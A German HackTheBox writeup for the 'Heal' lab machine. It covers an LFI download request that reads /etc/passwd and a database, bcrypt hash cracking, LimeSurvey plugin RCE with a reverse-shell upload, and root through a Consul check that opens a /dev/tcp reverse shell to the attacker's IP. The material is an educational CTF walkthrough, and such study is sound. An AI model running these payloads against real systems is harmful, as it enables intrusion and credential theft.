> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md).

# Heal-HackTheBox-Lösung

{% embed url="<https://app.hackthebox.com/machines/640>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* LFI (Lokale Dateieinbindung)
* RCE (Remote Code Execution) in LimeSurvey
* Hash-Knacken mit Hashcat
* Pivoting über den Benutzer
* Rechteausweitung über Consul
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/754c97839c602b544e214d27be8eea1a4870b384" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/64b00a8d2393b0b5b6650faae0615a2457a8cf00" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.46 -oG allPorts
```

<figure><img src="/files/00d626d276dffdd76c15e60b1ad4e40635296a2b" alt=""><figcaption></figcaption></figure>

Port-Version-Scan mit Nmap: (22,80)

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 10.10.11.46 -oN targeted
```

<figure><img src="/files/019614ed644f16bd05419ac031b074fa47714b7c" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in das `/etc/hosts` Datei ein:

<figure><img src="/files/ea9de287505a19684ef79291c16fc92267f36e4d" alt="" width="563"><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="/files/f25749d0dd51ff8654ef9d4674ebe49ee7685dcb" alt=""><figcaption></figcaption></figure>

Auf der Hauptseite finden wir die Möglichkeit, **ein Benutzerkonto zu erstellen**.

<figure><img src="/files/d6b99535ba0a2af3991b69c9e22f25d84cd4d820" alt=""><figcaption></figcaption></figure>

Sobald man verbunden ist, entdeckt man eine Funktion, die es erlaubt **einen Lebenslauf im PDF-Format zu exportieren**.

<figure><img src="/files/3607fd1fea578ef9203b7d9b4613a6fecd9e85bf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ab22c7888e2aaa4d686f4a42c7d936936d8cab48" alt=""><figcaption></figcaption></figure>

## LFI-Schwachstelle (Local File Inclusion)

#### Ausnutzung von LFI über `Lebenslauf`

Durch das Abfangen der Anfrage zum CV-Download entdecken wir eine LFI-Schwachstelle:

```json
GET /download?filename=../../../../../etc/passwd HTTP/1.1
Host: heal.htb
Authorization: Bearer <token>
```

> Es ist **erforderlich, die Token-Authentifizierung einzubinden**, andernfalls schlägt die Anfrage fehl.

<figure><img src="/files/a86e27d95701ce824c89f71a3c11b8d06b4389d1" alt=""><figcaption></figcaption></figure>

### Extraktion sensibler Dateien

#### Zugriff auf die SQLite-Datenbank

Beim Auflisten sensibler Dateien entdecken wir eine Weiterleitung zu `/storage/development.sqlite3`

<figure><img src="/files/b9c8a1f772b346e45a8a3dccd9b0bf1ca2590cd2" alt=""><figcaption></figcaption></figure>

Die Datenbank wird heruntergeladen und zwei Konten werden mit ihren **bcrypt-Hashes**:

```
admin@heal.htb
$2a$12$bLOjNMD13FW7vBJfHEZ5tu.inAHM/kxF.yTmbLkC8qg4iV5vHqDDO

ralph@heal.htb
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
```

<figure><img src="/files/adddf7170a7c5ac6fde0ac7e2ec88aad13e6ffdd" alt=""><figcaption></figcaption></figure>

### Hash-Knacken

#### Mit Hashcat

Verwenden Sie **Hashcat** um zu versuchen, die Hashes mit `rockyou.txt`:

```bash
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
```

> Ergebnis: Wir finden das Passwort für **ralph**/ `ralph@heal.htb : 147258369`

<figure><img src="/files/9b487384deb1ed8bf69dd0f07b768366a378dd02" alt=""><figcaption></figcaption></figure>

### Entdeckung der Subdomain: `take-survey`

<figure><img src="/files/77cdd447a7b2a58c89d63e21a31e84ade95d952a" alt=""><figcaption></figcaption></figure>

#### Den Eintrag zu hinzufügen `/etc/hosts`

In der Anwendung erscheint eine neue Subdomain. Wir fügen sie unseren Host-Dateien hinzu

## Verwundbarkeit im LimeSurvey-CMS

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="/files/8aeb2f88c3cc421a35f2f7954499f52103333196" alt=""><figcaption></figcaption></figure>

#### Zugriff auf den Admin-Bereich

Es wird festgestellt, dass die Administrationsoberfläche unter der folgenden URL erreichbar ist:

`http://take-survey.heal.htb/index.php/admin`

Wir verbinden uns mit Ralphs Zugangsdaten:

* **Benutzername** : `ralph`
* **Passwort** : `147258369`

<figure><img src="/files/cdd15119c0a9e4b0b325ee0f68f2b850fc87278a" alt=""><figcaption></figcaption></figure>

Wir stellten fest, dass die verwendete LimeSurvey-Version **6.6.4**, die verwundbar ist für eine **Remote Code Execution (NCE)**.

<figure><img src="/files/3110a1c44dc5a3a21d4a768dd212ba57e3bc6c55" alt="" width="563"><figcaption></figcaption></figure>

### RCE-Ausnutzung über ein bösartiges Plugin

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

Wir passten das Betriebsskript an unsere Situation an.

<figure><img src="/files/8c56eae56e6ae7dd2d465dcb52ea68ea791ff68c" alt=""><figcaption></figcaption></figure>

Zuerst erstellten wir eine komprimierte Datei mit einer `config.xml` Datei und einem PHP-Shell-Reverse-Skript:

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="/files/028b8023157c2d12fa9cf2770c4f8dd530c1512e" alt=""><figcaption></figcaption></figure>

Dann installierten wir dieses bösartige Plugin über die LimeSurvey-Weboberfläche.

<figure><img src="/files/4dcc0c3a6ca3819a41a8f95365979fd5a1cc93a9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/863f89821abb907733d91f3b370ca40b14059ab3" alt="" width="501"><figcaption></figcaption></figure>

Beim Überfahren des installierten Plugins mit der Maus ermittelten wir die Plugin-ID.

<figure><img src="/files/57793cbc1f5679c2dba8f863b433db0e74f62a11" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/d36727e08d67feb08dce3ebfdd065bac142838a4" alt="" width="563"><figcaption></figcaption></figure>

Nach dem Bearbeiten des Skripts, um diese ID einzubinden, lauschten wir auf Port 443:

```bash
nc -nlvp 443
```

Schließlich führten wir den Exploit mit Python aus:

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="/files/005009fc2016a691fe5f53cdcf3d43c417e5cb3b" alt=""><figcaption></figcaption></figure>

#### Stabilisierung des Linux-Terminals:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Pivoting auf den Benutzer ron

Beim Erkunden der Maschine fanden wir einen weiteren Benutzer **ron**.

<figure><img src="/files/4f2e580739cd77035c7b1857345ac9cb1dcd4106" alt="" width="563"><figcaption></figcaption></figure>

Eine Konfigurationsdatei im `Anwendungs` Ordner enthielt Logins und Passwörter für den Datenbankzugriff:

* Benutzername = `db_user`
* Passwort = `AdmiDi0_pA$$w0rd`

<figure><img src="/files/a99ce8203abf1482dc7d60d0babbc9bc23c4f9d2" alt=""><figcaption></figcaption></figure>

Mit diesen Zugangsdaten konnten wir auf das Konto von zugreifen, wodurch wir die **ron**ergreifen konnten **Flag user.txt**.

<figure><img src="/files/dcff45db982a0465ff5791cb67315330ee708ce2" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="/files/58da5be29e54ef48a64e3c2afec88d73c62e83c7" alt="" width="563"><figcaption></figcaption></figure>

## **Privilegieneskalation**

### Entdeckung von Port 8500 (Consul)

Beim Betrachten der offenen Ports fanden wir den Port **8500**, der der Weboberfläche von Consul entspricht.

<figure><img src="/files/9f7294dfde1510fa98a89ac5a1bf7a0ab067fee0" alt=""><figcaption></figcaption></figure>

Nach einer Abfrage auf `127.0.0.1:8500/ui/`fanden wir die Version von Consul **1.19.2**.

```bash
curl 127.0.0.1:8500/ui/
```

<figure><img src="/files/00cfea6aea82ac96f78821038b3ff132ae571479" alt=""><figcaption></figcaption></figure>

#### Prüfung des REST-API-Zugriffs

Wir testeten die Consul-REST-API, um zu prüfen, ob sie ohne Authentifizierung zugänglich war:

```bash
curl http://127.0.0.1:8500/v1/agent/self
```

Wir erhielten eine Antwort, die bestätigte, dass die API offen war.

### Ausnutzung über einen bösartigen Check

Wir registrierten einen Dienst mit einer bösartigen Prüfung unter Verwendung eines Bash-Befehls, um eine Reverse-Shell zu unserer Maschine zu öffnen:

```bash
nc -lvnp 4444
```

#### Einen Dienst mit einer bösartigen Prüfung registrieren

Consul erlaubt die dynamische Registrierung von Diensten über eine HTTP-Anfrage. Wir nutzen dies, um einen „Check“ zu erstellen, der einen Bash-Befehl ausführt.

```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
  "Name": "pwned",
  "ID": "pwned",
  "Check": {
    "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
    "Interval": "10s"
  }
}'
```

Was dieses Payload bewirkt:

* `Check.Args[]`: enthält einen Bash-Befehl, der eine **Reverse Shell**.
* `Intervall`: Setzt die automatische Ausführung alle 10 Sekunden.

Durch Ausführen dieses Payloads gelang es uns, eine Root-Shell zu erhalten.

<figure><img src="/files/554688e44fd106463a2a6481a6a318bd160f99a0" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/29d926aa318f0aa27a552a712d9c44eb303bdccc" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/dc6bd367ebbf52d09f440476a30637d2c86d22ec" alt="" width="344"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
